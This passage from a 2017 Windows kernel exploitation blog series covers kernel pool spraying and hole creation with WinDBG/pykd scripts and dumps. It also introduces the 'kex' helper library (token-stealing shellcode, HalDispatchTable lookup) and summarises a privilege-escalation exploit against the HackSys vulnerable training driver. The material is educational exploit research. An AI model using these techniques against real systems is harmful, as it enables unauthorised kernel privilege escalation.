<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">pool_object_headers['unnamed_mutex'] = [0x040a0000,0xe174754d,0x00000000,0x00000050,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000e]</span></div>
<div style="text-align: left;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">pool_object_headers['unnamed_job'] = [0x042d0000,0xa0626f4a,0x00000000,0x00000168,0x0000006c,0x86e0bd80,0x00000001,0x00000001,0x00000000,0x00080006]</span></div>
<div style="text-align: left;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">pool_object_headers['iocompletionreserve'] = [0x040c0000,0xef436f49,0x00000000,0x0000005c,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000a]</span></div>
<div style="text-align: left;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">pool_object_headers['unnamed_semaphore'] = [0x04090000,0xe16d6553,0x00000000,0x00000044,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080010]</span></div>
<div style="text-align: left;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">pool_object_headers['event'] = [0x04080000,0xee657645,0x00000000,0x00000040,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000c]</span></div>
</div>
<div>
<br /></div>
<div>
A quick note on the PreviousSize field. We always know what it should be. We know exactly the hole we create and this value is simple that size divided by 8, so we can always dynamically generate it. It's added to the code.</div>
<div>
<br /></div>
<div>
Now let's go to exploitation.</div>
<div>
<br /></div>
<div>
What is kex? Well it stands for <b><u>ke</u></b>rnel e<b><u>x</u></b>ploitation, and also if you pronounce it, in Hungarian it means 'cookie' (although that word is written as keksz ('ksz' is pronounced as 'x')), and it's a collection of functions that can help writing kernel exploits faster. At this moment it has the following functions:</div>
<div>
<br /></div>
<div>
<div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def allocate_object(object_to_use, variance):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def find_object_to_spray(required_hole_size):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def spray(required_hole_size):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def make_hole(required_hole_size, good_object):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def gimme_the_hole(required_hole_size):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def close_all_handles():</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def calculate_previous_size(required_hole_size):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def pool_overwrite(required_hole_size,good_object):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def ctl_code(function,</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def getLastError():</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def alloc_memory(base_address, input, input_size):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def find_driver_base(driver=None):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def get_haldispatchtable():</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def get_haldisp_ofsetsx86():</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def get_haldisp_ofsetsx64():</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def setosvariablesx86():</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def setosvariablesx64():</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def retore_hal_ptrs(HalDispatchTable,HaliQuerySystemInformation,HalpSetSystemInformation):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def restoretokenx86(RETVAL, extra = ""):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def tokenstealingx86(RETVAL, extra = ""):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def tokenstealingx64(RETVAL, extra = ""):</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">def tokenstealing(RETVAL, extra = ""):</span></div>
</div>
</div>
<div>
<br /></div>
<div>
Basically functions to help with finding various offsets based on OS version, finding the HalDispatchTable location, generating tokenstealing shellcode for various platforms and cases, functions to allocate memory and a set of functions that I created as part of my kernel pool spraying fun series :) like spraying, creating holes just based on the pool size we know, we don't need to prepare anything or worry about the objects. It was long time ago in my plans but somehow went under the table. I do plan to catch up with this 'project' and start to add other stuff, like bitmap read/write stuff, which is needed for newer OSs.</div>
<div>
<br /></div>
<div>
Not all functions were developed by myself, there are particles that were taken from various sources, and I tried to indicate it. I might modify it to my needs, like adding parameters but I still wanted to indicate the source, and not take credits for it.</div>
<div>
<br /></div>
<div>
So what's the difference. If I take my original <a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver" target="_blank">HackSysExtremeVulnerableDriver</a> pool overflow exploit, found here, it's 200 lines:</div>
<div>
<a href="https://github.com/theevilbit/exploits/blob/master/HEVD/hacksysPOOL.py" target="_blank">https://github.com/theevilbit/exploits/blob/master/HEVD/hacksysPOOL.py</a></div>
<div>
<br /></div>
<div>
With the kex helpers, it's about 50, which is much nicer, and you don't need to worry about many things.</div>
<div>
<br /></div>
<div>
<a href="https://github.com/theevilbit/exploits/blob/master/HEVD/hacksysPOOL-kex.py" target="_blank">https://github.com/theevilbit/exploits/blob/master/HEVD/hacksysPOOL-kex.py</a></div>
<div>
<i>Our required hole size is 0x200 (HEVD allocates 0x1f8 size, but it takes 0x200 on the pool: buffer + 8 byte POOL_HEADER).</i></div>
<div>
<br /></div>
<div>
A summary of this HEVD exploit:</div>
<div>
<ol>
<li>open the driver</li>
<li>allocate our input at 0x41410000, which consists of 0x1f8 random data, and the additional overflow part</li>
<li>put the value 0x42424242 at 0x00000060 (pointer to the "CloseProcedure" function handler)</li>
<li>generate a tokenstealing shellcode and allocate it it into 0x42424242</li>
<li>spray the kernel pool, and make holes (multiple)</li>
<li>call the driver vulnerable function to make the overflow</li>
<li>close all handles to trigger our shellcode</li>
<li>open cmd.exe</li>
</ol>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5AecRcJPamGVuQUnM9l5OFMAE8hRdVoEPR1rkKFPc-q_P8-U4s73ANbPBfJMMUCMIXLsjZy-mRhd5MSes2ZlFrDL-kQvenu9ritKze9-2U29osBR_sexUMIYfIPxAssPSF8FZEGeIhEwp/s1600/Screen+Shot+2017-09-15+at+22.35.31.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="674" data-original-width="1348" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5AecRcJPamGVuQUnM9l5OFMAE8hRdVoEPR1rkKFPc-q_P8-U4s73ANbPBfJMMUCMIXLsjZy-mRhd5MSes2ZlFrDL-kQvenu9ritKze9-2U29osBR_sexUMIYfIPxAssPSF8FZEGeIhEwp/s640/Screen+Shot+2017-09-15+at+22.35.31.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
The exploit works very reliably, I run it quite a few times.</div>
</div>
<div>
<br /></div>
<div>
You can find kex here:</div>
<div>
<a href="https://github.com/theevilbit/kex" target="_blank">https://github.com/theevilbit/kex</a></div>
<div>
<br /></div>
<div>
If you find any bug, please report it, I tried to filter out everything and test most of the functions, but you never know.</div>
</div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-81122753146678826922017-09-14T18:36:00.000+02:002017-09-14T18:37:50.105+02:00Windows kernel pool spraying fun - Part 3 - Let's make holes<div style="text-align: justify;">
Maybe I should have started this whole series with some explanation. I want to make some scripts that can help with making Windows kernel exploit development faster, and my first run is with pool spraying. Also, if you never read about kernel pool overflows, and exploiting them with pool spraying, maybe read this:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a href="http://trackwatch.com/windows-kernel-pool-spraying/" target="_blank">http://trackwatch.com/windows-kernel-pool-spraying/</a></div>
<div style="text-align: justify;">
<a href="http://www.fuzzysecurity.com/tutorials/expDev/20.html" target="_blank">http://www.fuzzysecurity.com/tutorials/expDev/20.html</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Now that we have a decent list of kernel object sizes (and the script can be run on other platforms, although probably I need to make some changes for x64 architecture) we can 'automate' the spraying and hole creation process, if we know what is the hole size we require.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Basically:</div>
<div style="text-align: justify;">
<ol>
<li>Once we analyzed the vulnerability we will know what is the object / buffer size the driver will allocate in the pool</li>
<li>We need to control the placement of that allocation, so we need to prepare a given size hole in the pool, so that the kernel will allocate the new object there</li>
<li>If we know the size, we can simply calculate what kind of objects are good for our spraying and how many of them will need to be free up</li>
<li>If we know all of that we can spray the kernel, and make a hole</li>
</ol>
<div>
We will need info about the object and pool headers what we overwrite with the overflow, but I will deal with that later, as it's not required for the hole creation. I might be wrong, but with some preparation I hope that the overwriting data can be automatically generated as well. For now, I just want to make holes with a given size. So I made a script for this, which is available here (please keep in mind that it's hardcoded for Win7 SP1 x86):</div>
<div>
<br /></div>
<div>
<a href="https://github.com/theevilbit/kex/blob/master/spray_helper.py" target="_blank">https://github.com/theevilbit/kex/blob/master/spray_helper.py</a></div>
<div>
<br /></div>
<div>
It will ask for the hole size you want, and do the spraying, freeing up the space and showing that area in WinDBG. Also note that it still uses the local kernel debugger, where we can't set breakpoint, so there is some race condition, when we issue the !pool command, as some other kernel process can allocate in the free space. The reason I still on local kernel debugging is that it's much simpler now for the demonstration. When I get to actual exploit demo, I will need to have remote debugging, but I can use the functions I demo here. So here is the output:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> !py c:\users\csaby\desktop\spray_helper.py</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Give me the size of the hole in hex: 440</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Process: 8572bd40</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Object location: 857e15f0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Pool page 857e15f0 region is Nonpaged pool</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e1000 size: 40 previous size: 0 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e1040 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e1080 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e10c0 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e1100 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e1140 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"><span style="color: #3d85c6;"> </span><b><span style="color: red;">857e1180 size: 40 previous size: 40 (Free ) Even (Protected)</span></b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e11c0 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1200 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1240 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1280 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e12c0 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1300 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1340 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1380 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e13c0 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1400 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1440 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1480 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e14c0 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1500 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1540 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 857e1580 size: 40 previous size: 40 (Free ) Even (Protected)</b></span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">*857e15c0 size: 40 previous size: 40 (Allocated) *Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>Pooltag Even : Event objects</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e1600 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e1640 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e1680 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e16c0 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e1700 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 857e1740 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
</div>
<div>
<br /></div>
<div>
You can see that we have 17 x 0x40 space free, which is exactly 0x440, and that I didn't have to deal with the details. I can give any other size, e.g:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> !py c:\users\csaby\desktop\spray_helper.py</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Give me the size of the hole in hex: 260</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Process: 8572bd40</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Object location: 87b2fe00</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Pool page 87b2fe00 region is Nonpaged pool</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f000 size: 98 previous size: 0 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f098 size: 90 previous size: 98 (Free) ....</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f128 size: 98 previous size: 90 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f1c0 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f258 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f2f0 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f388 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f420 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f4b8 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f550 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f5e8 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f680 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f718 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f7b0 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f848 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f8e0 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2f978 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2fa10 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2faa8 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 87b2fb40 size: 98 previous size: 98 (Free ) IoCo (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 87b2fbd8 size: 98 previous size: 98 (Free ) IoCo (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 87b2fc70 size: 98 previous size: 98 (Free ) IoCo (Protected)</b></span></div>
<div>
<span style="color: red; font-family: "courier new" , "courier" , monospace;"><b> 87b2fd08 size: 98 previous size: 98 (Free ) IoCo (Protected)</b></span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">*87b2fda0 size: 98 previous size: 98 (Allocated) *IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>Owning component : Unknown (update pooltag.txt)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2fe38 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2fed0 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 87b2ff68 size: 98 previous size: 98 (Allocated) IoCo (Protected)</span></div>
<div>
<br /></div>
</div>
<div>
As we see the spraying adapts to our needs. Note that different objects were used this time. If you test it many times, try to use a number which will result in different object allocation, so you get a cleaner output.</div>
<div>
<br /></div>
<div>
Another important thing to note is that the hole creation is not 100% reliable here, but I believe it's very close. What I do is the following: I spray the kernel with 100000 objects, and free up X in the middle. Very likely that those will be reserved next to each other, and give us the space we need when I free them, and for demonstrating the 'automation' this was the easiest. It could be more reliable if:</div>
<div>
<ol>
<li>I try to make multiple holes, with freeing up multiple X handlers, possibly next to each other</li>
<li>There is a way to leak the address of the objects from the kernel and calculate if they are next to each other, and thus freeing up the space that way. This will be the most reliable method.</li>
</ol>
</div>
<div>
As I progress, I will implement these but for now the first method makes it.</div>
<div>
<br /></div>
<div>
And yes, I code in Python, and not Powershell, simply because I can't code in PS, but I fully agree with everyone who says that making this in PS would make much more sense.<br />
<br />
Part 4 will come later as I will be busy in the next 2 weeks, possibly no time for this, but will catch up after.</div>
</div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-73332255891302946292017-09-11T21:48:00.001+02:002017-09-11T21:48:26.796+02:00Windows kernel pool spraying fun - Part 2 - More objects<div style="text-align: justify;">
In the second part I will explore more object sizes. The process to get the actual size is fairly simple as we saw it, however it can be a manually intense process if we need to do it many times, and thus it should be automated, before wasting more time on it. It's good to do it manually a few times, especially for learning, but there is no point repeating when not needed. So how we script WinDBG? With <a href="https://pykd.codeplex.com/" target="_blank">pykd</a>! pykd is an excellent Python extension for WinDBG, it even allows us to script WinDBG if we don't even start it manually.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
First thing is to install pykd, which can be a headache sometimes. It's not always as straightforward as it sounds. Probably the easiest if we download the precompiled version, and place pykd.pyd file in the winext directory of WinDBG. It's very important that the architecture of WinDbg, Python, VCRedist and pykd are all the same (x86 or x64). You can also install pykd via PIP, but I didn't find it working when trying to import. Also be sure to have the latest version of Python (2.7.13), with some older versions (like 2.7.9) WinDBG used to exit for me, when starting pykd. With even older version of Python (2.7.1) it used to work. But once it's up, it's a very powerful extension.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
So I wrote a short function that gets a name and handle, and will lookup the size of the object. There might be other, more elegant ways to do this, but it worked for me:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">def find_object_size(handle,name):</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>#find windbg.exe process</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>wp = dbgCommand('!process 0 0 windbg.exe')</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>#print wp</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>#extract process "address"</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>process_tuples = re.findall( r'(PROCESS )([0-9a-f]*)( SessionId)', wp)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>if process_tuples:</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>process = process_tuples[0][1]</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>print "Process: " + process</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>#switch to process context</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>dbgCommand(".process " + process)</span></div>
<div style="text-align: justify;">
<span style="white-space: pre;"><span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> </span></span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>#find object "address"</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>object_ref = dbgCommand("!handle " + h)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>object_tuples = re.findall( r'(Object: )([0-9a-f]*)( GrantedAccess)', object_ref)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>if object_tuples:</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>obj = object_tuples[0][1]</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>print "Object: " + obj</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>#find pool</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>pools = dbgCommand("!pool " + obj)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>#print pools</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>#find size</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>size_re = re.findall(r'(\*[0-9a-f]{8} size:[ ]*)([0-9a-f]*)( previous)',pools)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>if size_re:</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>print name + " objects's size in kernel: " + size_re[0][1]</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>#close handle</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>kernel32.CloseHandle(handle)</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
This will ease our job finding the pool size allocated. With this I will take a look at the following objects:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Event</div>
<div style="text-align: justify;">
IoCompletionPort</div>
<div style="text-align: justify;">
IoCompletionReserve</div>
<div style="text-align: justify;">
Job (named and unnamed)</div>
<div style="text-align: justify;">
Semaphore (named and unnamed)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
It's quite straightforward from this point, we just need to call the related user mode function, create an object, and check the size. I created a short script for WinDBG that will create the above objects, and then check for their sizes, and print them out. I uploaded the script here:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a href="https://github.com/theevilbit/kex/blob/master/kernel_objects.py" target="_blank">https://github.com/theevilbit/kex/blob/master/kernel_objects.py</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
To use the script:</div>
<div style="text-align: justify;">
</div>
<ol>
<li>Start WinDBG</li>
<li>Kernel debug -> Local</li>
<li>Issue the command: <span style="font-family: Courier New, Courier, monospace;">.load pykd</span></li>
<li><span style="font-family: Courier New, Courier, monospace;">!py path_to_the_script</span></li>
</ol>
<br />
<div style="text-align: justify;">
The result:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Not Named Mutex objects's size in kernel: 0x50</span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Named Mutex objects's size in kernel: 0x60</span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Job objects's size in kernel: 0x168</span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Job objects's size in kernel: 0x178</span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">IoCompletionPort objects's size in kernel: 0x98</span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Event objects's size in kernel: 0x40</span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">IoCompletionReserve objects's size in kernel: 0x60</span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Not named Semaphore objects's size in kernel: 0x48</span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Named Semaphore objects's size in kernel: 0x58</span></div>
<div style="text-align: justify;">
<br /></div>
